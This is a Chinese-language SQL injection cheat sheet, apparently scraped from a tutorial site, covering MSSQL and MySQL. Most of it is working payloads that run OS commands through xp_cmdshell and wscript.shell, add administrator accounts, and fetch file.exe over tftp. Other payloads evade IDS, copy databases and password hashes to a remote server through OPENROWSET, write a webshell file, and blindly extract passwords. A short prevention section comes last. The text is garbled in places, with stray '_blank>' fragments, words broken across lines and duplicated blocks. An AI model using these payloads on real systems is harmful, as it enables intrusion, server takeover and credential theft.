xec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/
W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path)
values(@test)
http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E
08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp
_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
得到了 web 路径 d:/xxxx,接下来:
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
传统的存在 xp_cmdshell 的测试过程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes
/passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',
@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap
5258 /add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,
'run',null, 'C:/WINNT/system32/cmd.exe /c net localgroup administrators swap/add'
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
;declare @a;set @a=db_name();backup database @a to disk='你的 IP 你的共享目录 bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_add
login hax')
传统查询构造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,0
1),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫 ffff 的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0)
where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在 ffff 用户的邮箱字段中。
通过查看 ffff 的用户资料可得第一个用表叫 ad
然后根据表名 ad 得到这个表的 ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='a
d') where name='ffff';--
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>58
1577110) where name='ffff';--<
BR> ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';
--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff
';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='fff
f';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char
(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为 access 数据库
-----------------------------------------------------------通常注射的一些介绍:
A) ID=49 这类注入的参数是数字型,SQL 语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为 ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型,SQL 语句原貌大致概如下:
select * from 表名 where 字段='连续剧'
注入的参数为 Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
(C) 搜索时没过滤参数的,如 keyword=关键字,SQL 语句原貌大致如下:
select * from 表名 where 字段 like '%关键字%'
注入的参数为 keyword=' and [查询条件] and '%25'=', 即是生成语句:
select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects 是 SQLServer 的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,
表示用户建立的表名,上面的语句将第一个表名取出,与 0 比较大小,让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
从⑤拿到表名后,用 object_id('表名')获取表名对应的内部 ID,col_name(表名 ID,1)代表该表的第 1 个字段
名,将 1 换成 2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm 内容:主要是方便输入。
枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>
0);--
这是将第一个表名更新到 aaa 的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0
and name<>'vote');--
然后 id=1552 and exists(select * from aaa where aaa>5)
读出第二
表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后 id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后 id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
--------------------------------高级技巧:
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and nam
e<>'你得到的表名' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','tabl
e2',…)
通过 SQLSERVER 注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是 SYSADMIN 组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where
条件]
绕过 IDS 的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
1、 开启远程数据库
基本语法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * f
rom table1' )
参数: (1) OLEDB Provider name

2.1.3、语句大全

1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是 admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在 admin 这张表
3.猜帐号数目 如果遇到 0< 返回正确页面 1<返回错误页面说明帐号数目就是 1 个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在 len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称 name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称 password)>0)
5.猜解各个字段的长度 猜解长度就是把>0 变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是 6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是 12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的 ASSIC 码就 OK.最后把结
果再转换成字符.
group by users.id having 1=1--
group by users.id, users.username, users.password, users.privs having 1=1-- ; insert into users
values( 666, attacker, foobar, 0xffff )—UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_
blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable- UNION SELECT TOP 1 COLUMN_blank>_NAME
FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>
_NAME NOT IN (login_blank>_id)- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_S
CHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_
id,login_blank>_name)- UNION SELECT TOP 1 login_blank>_name FROM logintable-UNION SELECT TOP 1
password FROM logintable where login_blank>_name=Rahul--
看_blank>服务器打的补丁=出错了打了 SP4 补丁
and 1=(select @@VERSION)--
看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色 sysadmin 权限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判断连接_blank>数据库帐号。(采用 SA 账号连接 返回正常=证明了连接账号是 SA)
and sa=(SELECT System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--
看 xp_blank>_cmdshell 是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshel
l)--
xp_blank>_cmdshell 被删除,恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向 PING 自己实验
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>
_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>
_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$Content$nbsp;186657
4 /add--
创建一个虚拟目录 E 盘:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,
run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"--
访问属性:(配合写入一个 webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o,
run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊_blank>技巧::%5c=\ 或者
您正在看的 SQLserver 教程是:sql 注入语句。把/和\ 修改%5 提交
and 0<>(select top 1 paths from newtable)--
得到库名(从 1 到 5 都是系统的 id,6 以上才可以判断)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin))
来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到 UID 的数值假设为 18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个 admin 的一个
字段,假设为 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到_blank>密码。。。。。假设存在 user_blank>_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id)))
判断 id 值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access 也好用)
[NextPage]
得到 WEB 路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE,
@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank
>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立 image 类型的表 cmd
存在 xp_blank>_cmdshell 的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加 SQL 帐号
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$Content$nbsp;sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$Content$nbsp;1866574 /workstations:* /
times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$Content$nbsp;/add;
--
exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHO
D @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$Content$nbsp;1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$Content
$nbsp;/add ; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用 TFTP 上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的 IP 你的共享目录
bak.dat 如果被限制则可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_
blank>_addlogin hax)
查询构造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from
您正在看的 SQLserver 教程是:sql 注入语句。
[user] where username=victim and right(left(userp
ass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫 ffff 的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and
status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and nam
e=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and i
d>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在 ffff 用户的邮箱字段中。
通过查看 ffff 的用户资料可得第一个用表叫 ad
然后根据表名 ad 得到这个表的 ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x
73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为 access_blank>数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到 aaa 的字段处。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0
and name<>vote);--
然后 id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,一个个的读出,直到没有为止。
读字段是这样:
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--
然后 id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
然后 id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0
[ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobje
cts where xtype=u and status>0 and name not in(table1,table2,…)
通过 SQLSERVER 注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是
SYSADMIN 组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),
字段列如:1) [ where 条件]
绕过 IDS 的检测[使用变量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1、 开启远程_blank>数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address
[NextPage]
=192.168.0.1,1433;, select * from table
3.复制目标主机的整个_blank>数据库 insert 所有远程表到本地表。
基本语法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select *
from table1) select * from table2
这行语句将目标主机上 table2 表中的所有数据复制到远程_blank>数据库中的 table1 表中。实际运用
中适当修改连接字符串的 IP 地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address
=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address
=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address
=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>
您正在看的 SQLserver 教程是:sql 注入语句。_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address
=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
复制_blank>数据库:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address
=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Addres
s=192.168.0.1,1433;,select * from table2) select * from database..table2
复制哈西表(HASH)登录_blank>密码的 hash 存储于 sysxlogins 中。方法如下:
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,s
elect * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到 hash 之后,就可以进行暴力破解。
遍历目录的方法: 先创建一个临时表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3
nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录
的目录树结构,并寸入 temp 表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-
- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\Admin
Scripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_
dirtree 适用权限 PUBLIC)
写入表:
语句 1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
语句 2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--
语句 3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
语句 4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句 5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
语句 6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
语句 7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句 8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
语句 9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
把路径写到表中去:
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把_blank>数据库备份到网页目录:下载
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk
=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where
xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN)
,1) from sysobjects) 参看相关表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>
_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int
您正在看的 SQLserver 教程是:sql 注入语句。, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong
to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetp
roperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your
sequel servers are belong to us, 528 waitfor delay 00:00:05--
xp_blank>_dirtree 适用权限 PUBLIC
exec master.dbo.xp_blank>_dirtree c:\
返回的信息有两个字段 subdirectory、depth。Subdirectory 字段是字符型,depth 字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,这里建的表是和上面 xp_blank>_dirtree 相关连,字段相等、类型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信
息!
文章出处:http://www.diybl.com/course/7_databases/sql/msshl/2007616/59684_2.html
********************************************************************************
===MYSQL 基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union 联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfil
e 'c:/user.txt
INSERT 语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '
$password', '$homepage', '1');
构造 homepage 值为:http://4ngel.net', '3’)#
SQL 语句变为:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypa
ss', 'http://4ngel.net', '3’)#', '1');
UPDATE 语句:我喜欢这样个东西
先理解这句 SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此 SQL 被修改成以下形式,就实现了注入
1:修改 homepage 值为
http://4ngel.net', userlevel='3
之后 SQL 语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel 为用户级别
2:修改 password 值为
mypass)' WHERE username='admin'#
之后 SQL 语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id
='$id'
3:修改 id 值为
' OR username='admin'
之后 SQL 语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
===高级部分===
常用的 MySQL 内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于 angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://1
27.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)
猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members
跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1 from ymdown_user where id=1
其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from
ymdown_user where id=1 and ord(mid(password,1,1))=49
===注入防范===
服务器方面
magic_quotes_gpc 设置为 On
display_errors 设置为 Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用 intval()抓换
字符串类型
SQL 语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.phpe.net/mysql_manual/06-4.html(MYSQL 语句参考)
以下实例,作者 angel
php+Mysql 的注入
国内能看到 php+Mysql 注入的文章可能比较少,但是如果关注各种 WEB 程序的漏洞,就可以发现,其
实这些漏洞的文章其实就是一个例子。不过由于国内研究 PHP 的人比研究 ASP 的人实在少太多,所以,可
能没有注意,况且 PHP 的安全性比 ASP 高很多,导致很多人不想跨越这个门槛。
尽管如此,在 PHP 站点日益增多的今天,SQL 注入仍是最有效最麻烦的一种攻击方式,有效是因为至
少 70% 以上的站点存在 SQL Injection 漏洞,包括国内大部分安全站点,麻烦是因为 MYSQL4 以下的版本
是不支持子语句的,而且当 php.ini 里的 magic_quotes_gpc 为 On 时。提交的变量中所有的 ' (单引号),
" (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。
早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难,好在现
在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语句一点也不难,甚
至成功率也很高,但具体情况具体分析。首先要走出一个误区。
注:在没有具体说明的情况下,我们假设 magic_quotes_gpc 均为 off。
php+Mysql 注入的误区
很多人认为在 PHP+MYSQL 下注入一定要用到单引号,或者是没有办法像 MSSQL 那样可以使用“declare
@a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”这类的命令来消除引号,其实这个
是大家对注入的一种误解或这说是对注入认识上的一种误区。
为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是 dir 这样
的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:
$command = "dir c:\";
system($command);
否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是 SQL 语句,要让我们
构造的 SQL 语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?什么时候不用
呢?看看下面两句 SQL 语句:
①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id
两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id 放在一对单引号中,这
